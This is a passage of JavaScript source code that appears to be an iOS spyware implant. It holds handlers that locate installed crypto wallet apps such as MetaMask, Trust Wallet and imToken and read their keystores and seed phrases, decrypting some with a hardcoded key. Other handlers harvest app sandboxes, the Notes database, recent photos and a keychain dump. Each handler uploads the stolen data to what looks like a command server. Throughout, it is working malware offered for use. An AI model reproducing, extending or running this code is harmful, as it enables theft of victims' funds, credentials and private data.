{\n\t\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_error = String(mnemErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.identity) {\n\t\t\t\t\t\t\t\t\twalletInfo.identifier = w.identity.identifier || \"\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch (parseErr) {}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (ent.type === \"dir\") {\n\t\t\t\tvar subEntries = listDir(entPath);\n\t\t\t\tfor (var si = 0; si < subEntries.length; si++) {\n\t\t\t\t\tvar subEnt = subEntries[si];\n\t\t\t\t\tif (subEnt.type !== \"file\") continue;\n\t\t\t\t\tvar subPath = entPath + \"/\" + subEnt.name;\n\t\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\t\tdir: (di === 0 ? \"walletsV2\" : \"wallets\") + \"/\" + ent.name,\n\t\t\t\t\t\tname: subEnt.name\n\t\t\t\t\t});\n\t\t\t\t\tvar subSt = _statFile(subPath);\n\t\t\t\t\tif (subSt && subSt.size > 0 && subSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\t\tvar sb64 = readFileB64(subPath, 4 * 1024 * 1024);\n\t\t\t\t\t\tif (sb64) {\n\t\t\t\t\t\t\tvar sfname = (di === 0 ? \"walletsV2_\" : \"wallets_\") +\n\t\t\t\t\t\t\t\tent.name + \"_\" + subEnt.name;\n\t\t\t\t\t\t\tsendResult(cmd.command_id, sb64.b64,\n\t\t\t\t\t\t\t\tsfname, \"wallet_extract\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// --- Phase 3: AsyncStorage (Redux persist) ---\n\tif (data) {\n\t\tvar rawKeys = Object.keys(data);\n\t\tresult.raw_keys = rawKeys;\n\n\t\tvar walletsRaw = null;\n\t\tif (data[\"walletsV2\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"walletsV2\"]); } catch(e) {}\n\t\t}\n\t\tif (!walletsRaw && data[\"wallets\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"wallets\"]); } catch(e) {}\n\t\t}\n\n\t\tif (walletsRaw) {\n\t\t\tvar wArr = Array.isArray(walletsRaw) ? walletsRaw :\n\t\t\t\t(walletsRaw.wallets ? walletsRaw.wallets : [walletsRaw]);\n\t\t\tfor (var wi = 0; wi < wArr.length; wi++) {\n\t\t\t\tvar w = wArr[wi];\n\t\t\t\tvar walletInfo = {\n\t\t\t\t\tid: w.id || w.walletID || (\"wallet_\" + wi),\n\t\t\t\t\tname: w.name || \"\",\n\t\t\t\t\taddress: w.address || \"\",\n\t\t\t\t\tsource: w.source || \"\",\n\t\t\t\t\tchainType: w.chainType || \"\"\n\t\t\t\t};\n\n\t\t\t\tif (w.keystore || w.crypto) {\n\t\t\t\t\tvar ks = w.keystore || { crypto: w.crypto };\n\t\t\t\t\twalletInfo.keystore_raw = ks;\n\t\t\t\t\twalletInfo.kdf = ks.crypto ? ks.crypto.kdf : \"unknown\";\n\n\t\t\t\t\tif (password) {\n\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(ks.crypto, password);\n\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\twalletInfo.encMnemonic_raw = w.encMnemonic;\n\t\t\t\t\tif (typeof w.encMnemonic === \"object\" && w.encMnemonic.encStr) {\n\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec = _decryptEncryptedMessage(w.encMnemonic, fixedKey);\n\t\t\t\t\t\tif (dec) walletInfo.mnemonic_fixed_key = dec;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\twalletInfo.encOriginal_raw = w.encOriginal;\n\t\t\t\t\tif (typeof w.encOriginal === \"object\" && w.encOriginal.encStr) {\n\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec2 = _decryptEncryptedMessage(w.encOriginal, fixedKey2);\n\t\t\t\t\t\tif (dec2) walletInfo.original_fixed_key = dec2;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t}\n\t\t}\n\n\t\tif (data[\"AssetToken\"]) {\n\t\t\ttry {\n\t\t\t\tvar assetData = JSON.parse(data[\"AssetToken\"]);\n\t\t\t\tvar items = assetData.itemsById || assetData;\n\t\t\t\tif (typeof items === \"object\") {\n\t\t\t\t\tfor (var assetKey in items) {\n\t\t\t\t\t\tif (!items.hasOwnProperty(assetKey)) continue;\n\t\t\t\t\t\tvar a = items[assetKey];\n\t\t\t\t\t\tresult.assets.push({\n\t\t\t\t\t\t\twalletAddress: a.walletAddress || a.accountAddress || \"\",\n\t\t\t\t\t\t\tchainId: a.chainId || \"\",\n\t\t\t\t\t\t\tchainType: a.chainType || \"\",\n\t\t\t\t\t\t\tname: a.name || \"\",\n\t\t\t\t\t\t\tsymbol: a.symbol || \"\",\n\t\t\t\t\t\t\tbalance: a.balance || \"0\",\n\t\t\t\t\t\t\tdecimal: a.decimal || 0\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tresult.asset_parse_error = String(e);\n\t\t\t}\n\t\t}\n\n\t\tvar sensitiveKeys = [\"walletsV2\", \"wallets\", \"crypto\", \"encMnemonic\",\n\t\t\t\"encOriginal\", \"AssetToken\", \"identities\", \"accounts\"];\n\t\tvar rawData = {};\n\t\tfor (var ki = 0; ki < sensitiveKeys.length; ki++) {\n\t\t\tif (data[sensitiveKeys[ki]]) {\n\t\t\t\trawData[sensitiveKeys[ki]] = data[sensitiveKeys[ki]];\n\t\t\t}\n\t\t}\n\t\tfor (var rk = 0; rk < rawKeys.length; rk++) {\n\t\t\tvar lk = rawKeys[rk].toLowerCase();\n\t\t\tif (lk.indexOf(\"wallet\") >= 0 || lk.indexOf(\"token\") >= 0 ||\n\t\t\t\tlk.indexOf(\"mnemonic\") >= 0 || lk.indexOf(\"seed\") >= 0 ||\n\t\t\t\tlk.indexOf(\"key\") >= 0 || lk.indexOf(\"account\") >= 0 ||\n\t\t\t\tlk.indexOf(\"identity\") >= 0 || lk.indexOf(\"crypto\") >= 0) {\n\t\t\t\tif (!rawData[rawKeys[rk]]) rawData[rawKeys[rk]] = data[rawKeys[rk]];\n\t\t\t}\n\t\t}\n\n\t\tif (Object.keys(rawData).length > 0) {\n\t\t\tvar rawJson = JSON.stringify(rawData);\n\t\t\tvar rawB64 = bytesToBase64(new Uint8Array(Native.stringToBytes(rawJson, false)));\n\t\t\tsendResult(cmd.command_id, rawB64,\n\t\t\t\t\"imtoken_raw_storage.json\", \"wallet_extract\");\n\t\t}\n\t} else {\n\t\tresult.async_storage_status = \"not_found\";\n\t}\n\n\tresult.realm_uploaded = realmUploaded;\n\tvar endMs = Date.now();\n\tresult.execution_time = (endMs - startMs) / 1000;\n\tsendJSON(cmd.command_id, result, \"wallet_extract_result.json\",\n\t\t{ start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// ios_app_data: collect sandboxed app data by bundle_id\n// ============================================================================\n\nvar APP_DATA_BASE = \"/var/mobile/Containers/Data/Application\";\nvar APP_GROUP_BASE = \"/var/mobile/Containers/Shared/AppGroup\";\n\nfunction _toFfsPath(absPath) {\n\tif (absPath.indexOf(\"/private/\") === 0) return absPath.substring(1);\n\tif (absPath.indexOf(\"/var/\") === 0) return \"private\" + absPath;\n\tif (absPath.charAt(0) === \"/\") return absPath.substring(1);\n\treturn absPath;\n}\n\nfunction _findContainerIn(basePath, bundleId) {\n\tvar dirs = listDir(basePath);\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar containerPath = basePath + \"/\" + dirs[i].name;\n\t\tvar plistPath = containerPath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar acc = Number(Native.callSymbol(\"access\", plistPath, 0));\n\t\tif (acc !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tif (content.indexOf(bundleId) >= 0) return containerPath;\n\t}\n\treturn null;\n}\n\nfunction _findAppContainer(bundleId) {\n\treturn _findContainerIn(APP_DATA_BASE, bundleId);\n}\n\nfunction _findAppGroupContainer(bundleId) {\n\treturn _findContainerIn(APP_GROUP_BASE, bundleId);\n}\n\nfunction _collectAppFiles(basePath, subPaths, excludePaths, filterMode, fileExts, maxFileSizeMB) {\n\tvar maxBytes = (maxFileSizeMB && maxFileSizeMB > 0) ? maxFileSizeMB * 1024 * 1024 : 0;\n\tvar exts = [];\n\tif (fileExts) {\n\t\tvar parts = fileExts.split(\",\");\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tvar e = parts[i].trim();\n\t\t\tif (e) exts.push(e.toLowerCase());\n\t\t}\n\t}\n\n\tvar scanRoots = [];\n\tif (subPaths && subPaths.length > 0) {\n\t\tfor (var i = 0; i < subPaths.length; i++) {\n\t\t\tvar sp = subPaths[i];\n\t\t\tvar full = (sp.charAt(0) === \"/\") ? basePath + sp : basePath + \"/\" + sp;\n\t\t\tif (_statFile(full)) scanRoots.push(full);\n\t\t}\n\t} else {\n\t\tscanRoots.push(basePath);\n\t}\n\n\tvar excludeFull = [];\n\tif (excludePaths) {\n\t\tfor (var i = 0; i < excludePaths.length; i++) {\n\t\t\texcludeFull.push(basePath + excludePaths[i]);\n\t\t}\n\t}\n\n\tvar files = [];\n\tfor (var ri = 0; ri < scanRoots.length; ri++) {\n\t\t_scanDir(scanRoots[ri], files, true, excludeFull,\n\t\t\tfilterMode || \"none\", exts, maxBytes);\n\t}\n\treturn files;\n}\n\nfunction handleIosAppData(cmd) {\n\tvar p = cmd.params || {};\n\tvar targets = p.targets || [];\n\tvar maxFileSizeMB = (p.max_file_size_mb !== undefined) ? p.max_file_size_mb : 500;\n\tvar startMs = Date.now();\n\n\tif (!targets.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty targets array\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"ios_app_data\"\n\t\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: Date.now() });\n\t\treturn;\n\t}\n\n\tvar totalCollected = 0;\n\tvar totalUploaded = 0;\n\tvar targetResults = [];\n\n\tfor (var ti = 0; ti < targets.length; ti++) {\n\t\tvar t = targets[ti];\n\t\tvar bundleId = t.bundle_id;\n\t\tif (!bundleId) {\n\t\t\ttargetResults.push({ bundle_id: \"\", status: \"skipped\", error: \"empty bundle_id\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar containerPath = _findAppContainer(bundleId);\n\t\tvar groupPath = _findAppGroupContainer(bundleId);\n\n\t\tif (!containerPath && !groupPath) {\n\t\t\ttargetResults.push({ bundle_id: bundleId, status: \"not_found\",\n\t\t\t\terror: \"app container not found\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar effectiveMax = maxFileSizeMB;\n\t\tif (effectiveMax === -1) effectiveMax = 0;\n\n\t\tvar containers = [];\n\t\tif (containerPath) containers.push(containerPath);\n\t\tif (groupPath) containers.push(groupPath);\n\n\t\tvar uploaded = 0;\n\t\tvar allFiles = 0;\n\n\t\tfor (var ci = 0; ci < containers.length; ci++) {\n\t\t\tvar ctrPath = containers[ci];\n\t\t\tvar files = _collectAppFiles(ctrPath, t.paths || null,\n\t\t\t\tt.exclude_paths || null, t.filter_mode || \"none\",\n\t\t\t\tt.file_extensions || \"\", effectiveMax);\n\t\t\tallFiles += files.length;\n\n\t\t\tfor (var fi = 0; fi < files.length; fi++) {\n\t\t\t\tvar fname = _toFfsPath(files[fi]);\n\n\t\t\t\tvar sz = getFileSize(files[fi]);\n\t\t\t\tif (sz <= 0) continue;\n\n\t\t\t\tvar isLast = (ci === containers.length - 1 && fi === files.length - 1);\n\t\t\t\tvar meta = isLast ? { start_ms: startMs, end_ms: Date.now() } : null;\n\n\t\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\t\tvar rd = readFileB64(files[fi],\n\t\t\t\t\t\teffectiveMax > 0 ? effectiveMax * 1024 * 1024 : MAX_FILE_SIZE);\n\t\t\t\t\tif (rd) {\n\t\t\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"ios_app_data\", meta);\n\t\t\t\t\t\tuploaded++;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi],\n\t\t\t\t\t\tfname, \"ios_app_data\", meta);\n\t\t\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttotalCollected += allFiles;\n\t\ttotalUploaded += uploaded;\n\t\ttargetResults.push({\n\t\t\tbundle_id: bundleId,\n\t\t\tcontainer: containerPath || null,\n\t\t\tapp_group: groupPath || null,\n\t\t\tstatus: \"done\",\n\t\t\tfiles_found: allFiles,\n\t\t\tfiles_uploaded: uploaded\n\t\t});\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: totalUploaded > 0 ? \"success\" : (totalCollected > 0 ? \"partial\" : \"empty\"),\n\t\tfile_count: totalUploaded,\n\t\ttotal_scanned: totalCollected,\n\t\ttargets_processed: targetResults.length,\n\t\ttarget_details: targetResults,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"ios_app_data\"\n\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// wallet_scan: scan installed wallet apps and collect sandbox files\n// ============================================================================\n\nvar WALLET_BUNDLE_IDS = {\n\t// All listed wallets collect sandbox hot-files when installed.\n\t// Keychain dump still covers secrets; sandbox globs catch app-local vaults.\n\t\"com.bitpie.wallet\": { name: \"Bitpie\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.bitpie.wallet.plist\"] },\n\t\"com.uniswap.mobile\": { name: \"Uniswap\", sandbox: true,\n\t\tfiles: [\"Library/Application Support/*/RCTAsyncLocalStorage_V1/*\", \"Documents/*\"] },\n\t\"app.phantom\": { name: \"Phantom\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.solflare.mobile\": { name: \"Solflare\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Library/Preferences/com.solflare.mobile.plist\"] },\n\t\"org.mytonwallet.app\": { name: \"MyTonWallet\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"org.toshi\": { name: \"Coinbase\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\", \"Library/Preferences/org.toshi.plist\"] },\n\t\"io.metamask.MetaMask\": { name: \"MetaMask\", sandbox: true,\n\t\tmaxFileSize: 5 * 1024 * 1024,\n\t\tfiles: [\"Documents/persist-root\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.okex.OKExAppstoreFull\": { name: \"OKX\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.okex.OKExAppstoreFull.plist\",\n\t\t\t\"Library/Application Support/*/*\"] },\n\t\"exodusmovement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"exodus-movement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.jbig.tonkeeper\": { name: \"Tonkeeper\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\n\t\"com.sixdays.trust\": { name: \"Trust Wallet\", sandbox: true,\n\t\tfiles: [\"Documents/UTC--*\", \"Documents/keystore/UTC--*\", \"Documents/*\"] },\n\t\"com.bitkeep.os\": { name: \"Bitget\", sandbox: true,\n\t\tfiles: [\"Library/Preferences/com.bitkeep.os.plist\", \"Documents/*\"] },\n\t\"coin98.crypto.finance.insights\": { name: \"Coin98\", sandbox: true,\n\t\tmaxFileSize: 10 * 1024 * 1024,\n\t\tfiles: [\"Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/*\",\n\t\t\t\"Documents/mmkv/*\", \"Library/Application Support/mmkv/*\"] },\n\t\"com.tonhub.app\": { name: \"Tonhub\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/mmkv.default\", \"Documents/mmkv/*\"] },\n\t\"com.tronlink.hdwallet\": { name: \"TronLink\", sandbox: true,\n\t\tfiles: [\"Documents/keystore/UTC--*\", \"Documents/UTC--*\", \"Documents/wallets/*\",\n\t\t\t\"Documents/*\", \"Library/Preferences/com.tronlink.hdwallet.plist\"] },\n\t\"com.global.wallet.ios\": { name: \"TokenPocket\", sandbox: true,\n\t\tfiles: [\"Documents/wallets/*\", \"Documents/identity.json\", \"Documents/*\",\n\t\t\t\"Library/Preferences/com.global.wallet.ios.plist\"] },\n\t\"im.token.app\": { name: \"imToken\", sandbox: true,\n\t\tfiles: [\"Documents/walletsV2/*.json\", \"Documents/walletsV2/*\", \"Documents/*\",\n\t\t\t\"Documents/default.realm\"] }\n};\n\nfunction _resolveWalletFiles(containerPath, patterns) {\n\t// Supports mid-path globs: \"Library/Application Support/*/*\"\n\tvar results = [];\n\tvar seen = {};\n\tfunction pushFile(rel, abs) {\n\t\tif (seen[rel]) return;\n\t\tseen[rel] = true;\n\t\tresults.push({ relPath: rel, absPath: abs });\n\t}\n\tfunction expand(relPrefix, segs, si) {\n\t\tif (si >= segs.length) return;\n\t\tvar seg = segs[si];\n\t\tif (!seg) { expand(relPrefix, segs, si + 1); return; }\n\t\tvar isLast = (si === segs.length - 1);\n\t\tvar dirPath = containerPath + (relPrefix ? \"/\" + relPrefix : \"\");\n\t\tif (seg.indexOf(\"*\") >= 0 || seg.indexOf(\"?\") >= 0) {\n\t\t\tvar items = listDir(dirPath);\n\t\t\tfor (var i = 0; i < items.length; i++) {\n\t\t\t\tif (!_matchGlob(items[i].name, seg)) continue;\n\t\t\t\tvar nextRel = relPrefix ? (relPrefix + \"/\" + items[i].name) : items[i].name;\n\t\t\t\tif (isLast) {\n\t\t\t\t\tif (items[i].type === \"file\")\n\t\t\t\t\t\tpushFile(nextRel, dirPath + \"/\" + items[i].name);\n\t\t\t\t} else if (items[i].type === \"dir\") {\n\t\t\t\t\texpand(nextRel, segs, si + 1);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (isLast) {\n\t\t\tvar full = dirPath + \"/\" + seg;\n\t\t\tif (Number(Native.callSymbol(\"access\", full, 0)) === 0)\n\t\t\t\tpushFile(relPrefix ? (relPrefix + \"/\" + seg) : seg, full);\n\t\t} else {\n\t\t\texpand(relPrefix ? (relPrefix + \"/\" + seg) : seg, segs, si + 1);\n\t\t}\n\t}\n\tfor (var pi = 0; pi < patterns.length; pi++)\n\t\texpand(\"\", patterns[pi].split(\"/\"), 0);\n\treturn results;\n}\n\n// ============================================================================\n// Memo Scan: read notes.sqlite and upload structured memo data\n// ============================================================================\n\nfunction _findNoteStore() {\n\t// iOS 18 NoteStore.sqlite (AppGroup) - check first\n\tvar agBase = \"/var/mobile/Containers/Shared/AppGroup\";\n\tvar dirs = listDir(agBase);\n\tfor (var d = 0; d < dirs.length; d++) {\n\t\tif (dirs[d].type !== \"dir\") continue;\n\t\tvar p = agBase + \"/\" + dirs[d].name + \"/NoteStore.sqlite\";\n\t\tif (Number(Native.callSymbol(\"access\", p, 0)) === 0) return p;\n\t}\n\t// Legacy fallback\n\tvar bases = [\n\t\t\"/private/var/mobile/Library/Notes/notes.sqlite\",\n\t\t\"/tmp/notes.sqlite\"\n\t];\n\tfor (var i = 0; i < bases.length; i++) {\n\t\tif (Number(Native.callSymbol(\"access\", bases[i], 0)) === 0) return bases[i];\n\t}\n\treturn \"\";\n}\n\nfunction handleMemoScan(cmd) {\n\tvar startMs = Date.now();\n\tvar uploaded = 0;\n\tvar dbPath = _findNoteStore();\n\tif (dbPath) {\n\t\tvar suffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tfor (var i = 0; i < suffixes.length; i++) {\n\t\t\tvar fp = dbPath + suffixes[i];\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tvar fname = fp.substring(fp.lastIndexOf(\"/\") + 1);\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) { sendResult(cmd.command_id, f.b64, fname, \"memo_db\"); uploaded++; }\n\t\t\t} else {\n\t\t\t\tvar cr = sendFileChunked(cmd.command_id, fp, fname, \"memo_db\");\n\t\t\t\tif (cr && cr.ok) uploaded++;\n\t\t\t}\n\t\t}\n\t}\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: uploaded > 0 ? \"success\" : \"empty\",\n\t\tuploaded: uploaded,\n\t\tdb_path: dbPath || \"not_found\",\n\t\t_task_type: \"memo_scan\"\n\t}, \"memo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Photo Scan: query Photos.sqlite, read files, upload with MD5 hashes\n// ============================================================================\n\nfunction _md5(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_MD5\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _md5file(path, maxSize) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\tvar outBuf = Native.callSymbol(\"malloc\", 16n);\n\t\t\tif (!outBuf || outBuf === 0n) return null;\n\t\t\ttry {\n\t\t\t\tNative.callSymbol(\"CC_MD5\", buf, BigInt(nr), outBuf);\n\t\t\t\tvar hash = new Uint8Array(Native.read(outBuf, 16));\n\t\t\t\tvar hex = \"\";\n\t\t\t\tfor (var i = 0; i < 16; i++)\n\t\t\t\t\thex += (hash[i] < 16 ? \"0\" : \"\") + hash[i].toString(16);\n\t\t\t\treturn hex;\n\t\t\t} finally { Native.callSymbol(\"free\", outBuf); }\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _queryPhotosPaths(maxCount) {\n\tvar dbPath = \"/var/mobile/Media/PhotoData/Photos.sqlite\";\n\tvar paths = [];\n\tvar rows = _sqliteQuery(dbPath,\n\t\t\"SELECT ZFILENAME, ZDIRECTORY FROM ZASSET \" +\n\t\t\"WHERE ZTRASHEDSTATE = 0 \" +\n\t\t\"ORDER BY ZDATECREATED DESC LIMIT \" + maxCount, maxCount);\n\tif (!rows || !rows.rows) return paths;\n\tfor (var i = 0; i < rows.rows.length; i++) {\n\t\tvar r = rows.rows[i];\n\t\tvar fn = r.ZFILENAME || \"\";\n\t\tif (!fn) continue;\n\t\tvar dir = r.ZDIRECTORY || \"\";\n\t\tvar full;\n\t\tif (dir) {\n\t\t\tdir = dir.replace(/^\\/+|\\/+$/g, \"\");\n\t\t\tfull = \"/var/mobile/Media/\" + dir + \"/\" + fn;\n\t\t} else {\n\t\t\tfull = \"/var/mobile/Media/DCIM/100APPLE/\" + fn;\n\t\t}\n\t\tpaths.push({ path: full, name: fn });\n\t}\n\treturn paths;\n}\n\nfunction handlePhotoScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxPhotos = p.max_count || 200;\n\tvar batchSize = p.batch_size || 30;\n\tvar maxFileSize = p.max_file_size || (5 * 1024 * 1024);\n\n\tvar photos = _queryPhotosPaths(maxPhotos);\n\tvar uploaded = 0, skipped = 0, errors = 0;\n\tvar hashes = [];\n\n\tfor (var batch = 0; batch < photos.length; batch += batchSize) {\n\t\tvar end = Math.min(batch + batchSize, photos.length);\n\t\tfor (var j = batch; j < end; j++) {\n\t\t\tvar ph = photos[j];\n\t\t\tvar sz = getFileSize(ph.path);\n\t\t\tif (sz <= 0 || sz > maxFileSize) { skipped++; continue; }\n\t\t\tvar md5 = _md5file(ph.path, maxFileSize);\n\t\t\tif (!md5) { skipped++; continue; }\n\t\t\thashes.push(md5);\n\t\t\tvar fdata = readFileB64(ph.path, maxFileSize);\n\t\t\tif (fdata) {\n\t\t\t\tsendResult(cmd.command_id, fdata.b64, ph.name, \"photos\",\n\t\t\t\t\t{ start_ms: startMs, end_ms: Date.now() });\n\t\t\t\tuploaded++;\n\t\t\t} else { errors++; }\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: \"success\",\n\t\ttotal_found: photos.length,\n\t\tuploaded: uploaded,\n\t\tskipped: skipped,\n\t\terrors: errors,\n\t\thashes: hashes,\n\t\t_task_type: \"photo_scan\"\n\t}, \"photo_scan.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// Wallet Scan\n// ============================================================================\n\nfunction handleWalletScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar maxFileSize = 2 * 1024 * 1024;\n\n\tvar base = APP_DATA_BASE;\n\tvar dirs = listDir(base);\n\n\tvar installedWallets = [];\n\tvar containerMap = {};\n\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar cpath = base + \"/\" + dirs[i].name;\n\t\tvar plistPath = cpath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tif (Number(Native.callSymbol(\"access\", plistPath, 0)) !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\n\t\tfor (var bid in WALLET_BUNDLE_IDS) {\n\t\t\tif (content.indexOf(bid) >= 0 && !containerMap[bid]) {\n\t\t\t\tcontainerMap[bid] = cpath;\n\t\t\t\tinstalledWallets.push(WALLET_BUNDLE_IDS[bid].name);\n\t\t\t}\n\t\t}\n\t}\n\n\tvar sandboxFiles = [];\n\tvar totalSize = 0;\n\n\tfor (var bid in containerMap) {\n\t\tvar cfg = WALLET_BUNDLE_IDS[bid];\n\t\tif (!cfg.sandbox || !cfg.files) continue;\n\t\tvar perFileMax = cfg.maxFileSize || maxFileSize;\n\t\tvar resolved = _resolveWalletFiles(containerMap[bid], cfg.files);\n\n\t\tfor (var fi = 0; fi < resolved.length; fi++) {\n\t\t\tvar rf = resolved[fi];\n\t\t\tvar fd = readFileB64(rf.absPath, perFileMax);\n\t\t\tif (!fd) continue;\n\n\t\t\tsandboxFiles.push({\n\t\t\t\twallet: cfg.name,\n\t\t\t\tbundle_id: bid,\n\t\t\t\tpath: rf.relPath,\n\t\t\t\tdata_b64: fd.b64,\n\t\t\t\tsize: fd.size\n\t\t\t});\n\t\t\ttotalSize += fd.size;\n\t\t}\n\t}\n\n\t// Upload keychain_c2_dump.json if P7 pipeline produced it\n\tvar kcDumpUploaded = false;\n\tvar kcDonePath = \"/tmp/keychain_c2_dump.done\";\n\tvar kcDumpPath = \"/tmp/keychain_c2_dump.json\";\n\tif (Number(Native.callSymbol(\"access\", kcDonePath, 0)) === 0) {\n\t\tvar kcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\tif (!kcData) {\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath + \".tmp\", 0x1A4);\n\t\t\tNative.callSymbol(\"rename\", kcDumpPath + \".tmp\", kcDumpPath);\n\t\t\tNative.callSymbol(\"chmod\", kcDumpPath, 0x1A4);\n\t\t\tkcData = readFileB64(kcDumpPath, 5 * 1024 * 1024);\n\t\t}\n\t\tif (kcData) {\n\t\t\tsendResult(cmd.command_id, kcData.b64,\n\t\t\t\t\"keychain_c2_dump.json\", \"wallet_scan\");\n\t\t\tkcDumpUploaded = true;\n\t\t}\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tdevice_uuid: DEVICE_UUID,\n\t\ttimestamp: new Date().toISOString(),\n\t\tinstalled_wallets: installedWallets,\n\t\tsandbox_files: sandboxFiles,\n\t\ttotal_size: totalSize,\n\t\tkeychain_dump_uploaded: kcDumpUploaded,\n\t\texecution_time: 